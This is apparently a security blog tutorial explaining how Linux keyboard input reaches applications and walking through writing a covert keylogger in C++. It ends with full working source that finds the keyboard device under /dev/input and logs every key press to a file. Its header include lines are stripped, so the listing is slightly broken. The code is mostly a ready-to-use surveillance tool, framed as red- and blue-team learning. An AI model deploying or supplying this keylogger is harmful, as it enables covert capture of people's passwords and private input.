34.Key AbstractDigital Esm W900

This first part of the Complete Guide to Keylogging in Linux will explore keylogger attacks in network security. Keylogging can be valuable for testing within the Linux Security realm, so we will dive deeper into how you can write keyloggers and read events directly from a keyboard device on Linux.

What is a Keylogger Attack?

Keyloggers refer to a computer program where you can covertly monitor keyboard inputs to ensure that users are unaware of the activity you log. This program oversees lower-level keyboard events (key up or down), and you can run the software anywhere from the Linux kernel space to the userspace, depending on the design. This network security toolkit pays attention to what keys a user hits on the keyboard, which can help cybercriminals determine login credentials, account information, and other information.

What is the Purpose of a Keylogger?

IT security teams can use keyloggers during cloud security audit exercises (a "red team" test) to determine what needs security patching on your server. They can also figure out where cloud security breaches might try to compromise your system, infiltrate infrastructure, and capture valuable data so they can take care of those gaps before it is too late. They can record account credentials and network information to determine how to combat these risks.

Both offensive security teams, or red teams, and defensive security teams, or blue teams, can benefit from keyloggers. Red teams can learn multiple ways to implement keyloggers and understand where keyloggers can run within a server, whether through userspace, the hypervisor, or Linux kernels. Blue teams can learn where keyloggers hide, and the standard APIs and methods employees must monitor to detect keyloggers.

What is the Main Function of a Keylogger on Linux Keyboards?

Here is a basic overview of how a keyboard fits in a larger scheme:


        /-----------+-----------\   /-----------+-----------\
        |   app 1   |    app 2  |   |   app 3   |    app 4  |
        \-----------+-----------/   \-----------+-----------/
                    ^                           ^
                    |                           |
            +-------+                           |
            |                                   |
            | key symbol              keycode   |
            | + modifiers                       |
            |                                   |
            |                                   |
        +---+-------------+         +-----------+-------------+
        +     X server    |         |    /dev/input/eventX    |
        +-----------------+         +-------------------------+
                ^                               ^
                |      keycode / scancode       |
                +---------------+---------------+
                                |
                                |
                +---------------+--------------+      interrupt
                |           kernel             | <--------=-------+
                +------------------------------+                  |
                                                                  |
    +----------+     USB, PS/2      +-------------+ PCI, ...   +-----+
    | keyboard |------------------->| motherboard |----------->| CPU |
    +----------+    key up/down     +-------------+            +-----+

In this example, a keyboard does not pass the ASCII code of pressed keys. Instead, it passes a unique byte per key-down and key-up event, known as the key or scan code. When the key is released, it passes through the scan code to the motherboard or connected interface, which will see if an event takes place, which it can convert to an interrupt and move to the CPU. When the CPU sees the interrupt, it will launch an interrupt handler, a keylogger code from the Linux kernel that registers by populating the Interrupt Descriptor Table. This interrupt handler passes information to the kernel, exposing the special path in devtmpfs (/dev/input/eventX).

In a GUI-based system, the X server takes these scan codes from the kernel and transforms them into key symbols and metadata. With this layering, the Linux kernel can ensure the locale and keyboard map settings are applied correctly, which can also be done without the X server. All GUI applications receive events from the X server and then retrieve processed data.

You can write keyloggers in two different ways. Find the keyboard device /dev/input/eventX file and read it directly, or ask the X server to pass the event data to us.

Finding the Keyboard Device

The basic logic behind identifying keyboard device is pretty straightforward:

  1. Iterate over `/dev/input/` for all files
  2. Check if given file is a character device
  3. Check if given file supports key events
  4. Check if given file has some keys found on keyboards

Here, a system can have more than one keyboards; or devices which pretend to be a keyboard (e.g. barcode scanners). In such cases, you can try to check if multiple keys are supported. Otherwise, you can read all of them, and then process the recorded data later to filter out unwanted devices.

Iterating over directory, and finding character files is trivial with C++17, as shown below:


std::string get_kb_device()
{
    std::string kb_device = "";

    for (auto &p : std::filesystem::directory_iterator("/dev/input/"))
    {
        std::filesystem::file_status status = std::filesystem::status(p);

        if (std::filesystem::is_character_file(status))
        {
            kb_device = p.path().string();
        }
    }
    return kb_device;
}

Checking if the file is indeed a keyboard, and supports keys found on actual keyboards, is little bit more involved. The scheme can be summarised as below:

  1. Check if file is indeed readable.
  2. Use IOCTL to see if key events are supported.
  3. Use IOCTL to see if certain specific keys are supported.

Sample code for the above logic is given below:


std::string filename = p.path().string();
int fd = open(filename.c_str(), O_RDONLY);
if(fd == -1)
{
    std::cerr << "Error: " << strerror(errno) << std::endl;
    continue;
}

int32_t event_bitmap = 0;
int32_t kbd_bitmap = KEY_A | KEY_B | KEY_C | KEY_Z;

ioctl(fd, EVIOCGBIT(0, sizeof(event_bitmap)), &event_bitmap);
if((EV_KEY & event_bitmap) == EV_KEY)
{
    ioctl(fd, EVIOCGBIT(EV_KEY, sizeof(event_bitmap)), &event_bitmap);
    if((kbd_bitmap & event_bitmap) == kbd_bitmap)
    {
        // The device supports A, B, C, Z keys, so it probably is a keyboard
        kb_device = filename;
        close(fd);
        break;
    }

}
close(fd);

Reading Keyboard Events

Once we find the keyboard device, reading the events is straightforward:

  1. Read from keyboard device in object of `input_event`
  2. Check if even type is EV_KEY (i.e. a key event)
  3. Interpret the fields, and extract scan code
  4. Map scan code to name of key

The structure `input_event` is defined as follows:

struct input_event {
#if (__BITS_PER_LONG != 32 || !defined(__USE_TIME_BITS64)) && !defined(__KERNEL__)
	struct timeval time;
#define input_event_sec time.tv_sec
#define input_event_usec time.tv_usec
#else
	__kernel_ulong_t __sec;
#if defined(__sparc__) && defined(__arch64__)
	unsigned int __usec;
	unsigned int __pad;
#else
	__kernel_ulong_t __usec;
#endif
#define input_event_sec  __sec
#define input_event_usec __usec
#endif
	__u16 type;
	__u16 code;
	__s32 value;
}

Where,

    • `time` is the timestamp, it returns the time at which the event happened.
    • `type` is event type, defined in /usr/include/linux/input-event-codes.h. For key events, it will be **EV_KEY**
    • `code` is event code, defined in /usr/include/linux/input-event-codes.h. For key events, it will be scan code
    • `value` is the value the event carries. Either a relative change for EV_REL, absolute new value for EV_ABS (joysticks etc.), or 0 for EV_KEY for release, 1 for keypress and 2 for autorepeat.

For a basic scan code to key name mapping, you can use the following map:

std::vector keycodes = {
        "RESERVED",
        "ESC",
        "1",
        "2",
        "3",
        "4",
        "5",
        "6",
        "7",
        "8",
        "9",
        "0",
        "MINUS",
        "EQUAL",
        "BACKSPACE",
        "TAB",
        "Q",
        "W",
        "E",
        "R",
        "T",
        "Y",
        "U",
        "I",
        "O",
        "P",
        "LEFTBRACE",
        "RIGHTBRACE",
        "ENTER",
        "LEFTCTRL",
        "A",
        "S",
        "D",
        "F",
        "G",
        "H",
        "J",
        "K",
        "L",
        "SEMICOLON",
        "APOSTROPHE",
        "GRAVE",
        "LEFTSHIFT",
        "BACKSLASH",
        "Z",
        "X",
        "C",
        "V",
        "B",
        "N",
        "M",
        "COMMA",
        "DOT",
        "SLASH",
        "RIGHTSHIFT",
        "KPASTERISK",
        "LEFTALT",
        "SPACE",
        "CAPSLOCK",
        "F1",
        "F2",
        "F3",
        "F4",
        "F5",
        "F6",
        "F7",
        "F8",
        "F9",
        "F10",
        "NUMLOCK",
        "SCROLLLOCK"
};

For sake of completeness, full source code of keylogger is given below:

#include 
#include 
#include 
#include 
#include 

#include <sys/stat.h>
#include <linux/input.h>

#include 

#include 
#include 
#include 
#include 

std::vector keycodes = {
        "RESERVED",
        "ESC",
        "1",
        "2",
        "3",
        "4",
        "5",
        "6",
        "7",
        "8",
        "9",
        "0",
        "MINUS",
        "EQUAL",
        "BACKSPACE",
        "TAB",
        "Q",
        "W",
        "E",
        "R",
        "T",
        "Y",
        "U",
        "I",
        "O",
        "P",
        "LEFTBRACE",
        "RIGHTBRACE",
        "ENTER",
        "LEFTCTRL",
        "A",
        "S",
        "D",
        "F",
        "G",
        "H",
        "J",
        "K",
        "L",
        "SEMICOLON",
        "APOSTROPHE",
        "GRAVE",
        "LEFTSHIFT",
        "BACKSLASH",
        "Z",
        "X",
        "C",
        "V",
        "B",
        "N",
        "M",
        "COMMA",
        "DOT",
        "SLASH",
        "RIGHTSHIFT",
        "KPASTERISK",
        "LEFTALT",
        "SPACE",
        "CAPSLOCK",
        "F1",
        "F2",
        "F3",
        "F4",
        "F5",
        "F6",
        "F7",
        "F8",
        "F9",
        "F10",
        "NUMLOCK",
        "SCROLLLOCK"
};

int loop = 1;

void sigint_handler(int sig)
{
    loop = 0;
}

int write_all(int file_desc, const char *str)
{
    int bytesWritten = 0;
    int bytesToWrite = strlen(str);

    do
    {
        bytesWritten = write(file_desc, str, bytesToWrite);

        if(bytesWritten == -1)
        {
            return 0;
        }
        bytesToWrite -= bytesWritten;
        str += bytesWritten;
    } while(bytesToWrite > 0);

    return 1;
}

void safe_write_all(int file_desc, const char *str, int keyboard)
{
    struct sigaction new_actn, old_actn;
    new_actn.sa_handler = SIG_IGN;
    sigemptyset(&new_actn.sa_mask);
    new_actn.sa_flags = 0;

    sigaction(SIGPIPE, &new_actn, &old_actn);

    if(!write_all(file_desc, str))
    {
        close(file_desc);
        close(keyboard);
        std::cerr << "Error: " << strerror(errno) << std::endl;
        exit(1);
    }

    sigaction(SIGPIPE, &old_actn, NULL);
}

void keylogger(int keyboard, int writeout)
{
    int eventSize = sizeof(struct input_event);
    int bytesRead = 0;
    const unsigned int number_of_events = 128;
    struct input_event events[number_of_events];
    int i;

    signal(SIGINT, sigint_handler);

    while(loop)
    {
        bytesRead = read(keyboard, events, eventSize * number_of_events);

        for(i = 0; i < (bytesRead / eventSize); ++i)
        {
            if(events[i].type == EV_KEY)
            {
                if(events[i].value == 1)
                {
                    if(events[i].code > 0 && events[i].code < keycodes.size())
                    {
                        safe_write_all(writeout, keycodes[events[i].code].c_str(), keyboard);
                        safe_write_all(writeout, "\n", keyboard);
                    }
                    else
                    {
                        write(writeout, "UNRECOGNIZED", sizeof("UNRECOGNIZED"));
                    }
                }
            }
        }
    }
    if(bytesRead > 0) safe_write_all(writeout, "\n", keyboard);
}

std::string get_kb_device()
{
    std::string kb_device = "";

    for (auto &p : std::filesystem::directory_iterator("/dev/input/"))
    {
        std::filesystem::file_status status = std::filesystem::status(p);

        if (std::filesystem::is_character_file(status))
        {
            std::string filename = p.path().string();
            int fd = open(filename.c_str(), O_RDONLY);
            if(fd == -1)
            {
                std::cerr << "Error: " << strerror(errno) << std::endl;
                continue;
            }

            int32_t event_bitmap = 0;
            int32_t kbd_bitmap = KEY_A | KEY_B | KEY_C | KEY_Z;

            ioctl(fd, EVIOCGBIT(0, sizeof(event_bitmap)), &event_bitmap);
            if((EV_KEY & event_bitmap) == EV_KEY)
            {
                // The device acts like a keyboard

                ioctl(fd, EVIOCGBIT(EV_KEY, sizeof(event_bitmap)), &event_bitmap);
                if((kbd_bitmap & event_bitmap) == kbd_bitmap)
                {
                    // The device supports A, B, C, Z keys, so it probably is a keyboard
                    kb_device = filename;
                    close(fd);
                    break;
                }
            }
            close(fd);
        }
    }
    return kb_device;
}

void print_usage_and_quit(char *application_name)
{
    std::cout << "Usage: " << application_name << " output-file" << std::endl;
    exit(1);
}

int main(int argc, char *argv[])
{
    std::string kb_device = get_kb_device();

    if (argc < 2)
        print_usage_and_quit(argv[0]);

    if(kb_device == "")
        print_usage_and_quit(argv[0]);

    int writeout;
    int keyboard;

    if((writeout = open(argv[1], O_WRONLY|O_APPEND|O_CREAT, S_IROTH)) < 0)
    {
        std::cerr << "Error opening file " << argv[1] << ": " << strerror(errno) << std::endl;
        return 1;
    }

    if((keyboard = open(kb_device.c_str(), O_RDONLY)) < 0)
    {
        std::cerr << "Error accessing keyboard from " << kb_device << ". May require you to be superuser." << std::endl;
        return 1;
    }

    std::cout << "Keyboard device: " << kb_device << std::endl;
    keylogger(keyboard, writeout);

    close(keyboard);
    close(writeout);

    return 0;
}

Implementing proper entries for key press and release, handling backspaces etc. are left as an exercise to the reader.

About the Author

Adhokshaj Mishra works as a security researcher (malware - Linux) at Uptycs. His interest lies in offensive and defensive side of Linux malware research. He has been working on attacks related to containers, kubernetes; and various techniques to write better malware targeting Linux platform. In his free time, he loves to dabble into applied cryptography, and present his work in various security meetups and conferences.